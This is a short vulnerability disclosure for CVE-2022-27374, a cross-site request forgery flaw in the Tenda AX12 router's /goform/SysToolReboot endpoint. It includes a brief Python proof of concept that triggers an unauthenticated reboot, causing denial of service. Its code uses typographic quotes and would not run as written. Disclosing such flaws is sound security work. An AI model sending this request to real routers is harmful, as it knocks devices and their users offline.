Headline
CVE-2022-27374: myCVE/AX12.md at main · tianhui999/myCVE
Tenda AX12 V22.03.01.21_CN was discovered to contain a Cross-Site Request Forgery (CSRF) via the function sub_42E328 at /goform/SysToolReboot.
Affect device: Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)
Vulnerability Type: Cross Site Request Forgery (CSRF)
Impact: Denial of Service(DoS)
Vulnerability description
This vulnerability lies in the /goform/SysToolReboot page which influences the lastest version of Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)
The vulnerability exists in the sub_42E328 function.
It allows remote attackers to reboot the device and cause denial of service via a payload hosted by an attacker-controlled web page.
POC
import requests
url = “http://192.168.158.149/goform/SysToolReboot”
r = requests.get(url) #r = requests.post(url) can also do print(r.content)